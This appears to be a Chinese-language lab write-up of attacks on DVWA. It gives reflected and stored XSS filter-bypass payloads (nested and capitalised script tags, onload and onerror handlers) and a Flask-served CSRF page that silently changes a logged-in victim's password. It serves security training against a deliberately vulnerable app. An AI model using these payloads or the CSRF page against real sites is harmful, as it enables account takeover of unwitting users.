A-XSS-Reflected
一、XSS:(中级别)
- 测试payload:“<script>alert(“xss”)</script>”:测试结果:
- 发现输入的<script>被去掉了,那么猜测是否后台过滤了此标签:进行第二步如下
输入Payload:“<scr<script>ipt>alert("xss")</script>”此设计是后台假如去掉了中间的<script>,则两边的刚好又拼凑成一个完整的script标签。所以这样进行尝试绕过:结果如下:被绕过:说明猜测正确:
二、XSS(高)
用先前的Payload“<scr<script>ipt>alert("xss")</script>”已经不能进行注入,因为显示结果如下:
image.png
2.则猜测可能后台将所有的<script>字符都去除掉了。但是JS执行的地方不只是只能通过<script>标签,比如img的onerror属性,html的onload属性,分别用下面两个payload测试:
(1)Payload: “<body onload=alert(/xss/)>”,如下:成功注入:
image.png
(2)Payload:“<img scr=’das’ onerror=alert(“XSS-HAHA”)>”,
image.png
A-XSS-Stored:
一.中级别:
1.测试是否对特殊字符有转义或者过滤:输入payload 如下:
Nmae: <'>"/ln; Messages: <liuning'/">, 结果如下图:
image.png
可见,Name值没有过滤,而messages值全部过滤掉了。则重点测试对象为name。
2.name输入Payload如下:<script>alert(XSS-Stored)</script>,输入如图:
期间name框输入长度不够,更改代码后输入,结果如下图:
image.png
则推测后台将script标签过滤了,所以进行尝试绕过:输入Name字段为<scr<script>ipt>alert(“xssSSSS”)</script>, 发现没有成功,可能是将拼凑的又过滤了,那么试试大写:<Script>alert(/xss/)</script>,成功破解:
image.png
,那么再次思考下,可能其他的HTML事件属性如onerror, onload,onresize也没有做过滤。测试onerror如下(Name的payload=<body onload=alert(/XSS_STORED/)>)成功入侵,
image.png
二.高级别:
测试onload事件是否做了过滤:
Name的Payload:<body onload=alert(/XSS_STORED-HIGH-LALA/)> 结果如下:
同样,这个没有过滤,说明此属性没有被过滤。那么再来测测是否对多有的script标签进行了过滤:输入payload如下:<Script>alert(/xss/)</script>,结果如下,说明后台对所有的script标签都进行了过滤、
image.pngB-CSRF-MIDDLE级别
1.在自己的机器上(这里为了方便,也只是在本地的127.0.0.1上开了个4413端口进行模拟黑客服务器)。脚本如下:(命名为crsf.py)
# coding:utf-8
# author: chaser
from flask import *
app = Flask(__name__)
@app.route('/')
def scan_enter():
return render_template('csrf1.html')
if __name__ == '__main__':
app.run('127.0.0.1', port=4413, debug=True)
然后在templates目录下放置页面html: 命名为csrf1.html。
<!DOCTYPE html>
<html>
<head>
<title>CSRF1</title>
</head>
<body>
![](http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker_ln&password_conf=hacker_ln&Change=Change)
<p>Wa!You are so cute!</p>
</body>
</html>
当受害者在没有登出自己的dvwa程序时,(保留有自己的登录态)突然浏览其他网站,比如某一个广告的美女站点(我的站点可以模仿为充满了美女的站点),或者是我自己的博客网站。当他点击进来后,发现一个“Wa!You are so cute! ”(被赞美了,或者是在浏览我的正常的一个博客)那么此时CSRF已经完成。因为我的页面上有一个<img>标签,而标签的src是一个链接,此链接的功能是修改这个受害人的admin密码。(当然我事先要捕获到这个修改密码的链接)。当他沉浸在我站点的美女图或者博文里时,自己的密码已经被我改了而不自知。哈哈。如下:
image.png
点击后(同一浏览器)的结果:
image.png
然后他返回到自己的被攻击的站点中,这里是dvwa的站点。(或者我们可以做成将他跳转回他来源的那个站点的主页,只需要在我们的恶意网址上添加代码就可以)
setTimeout("javascript:location.href='127.0.0.1/dvwa/'", 5000); 这个是5秒后跳转到主页的方式。
当它退出后,下次重新登录就会发现登陆不进来,密码错误。
image.png
而正确的密码是hacker_ln:
image.png
成功登陆:
image.png
网友评论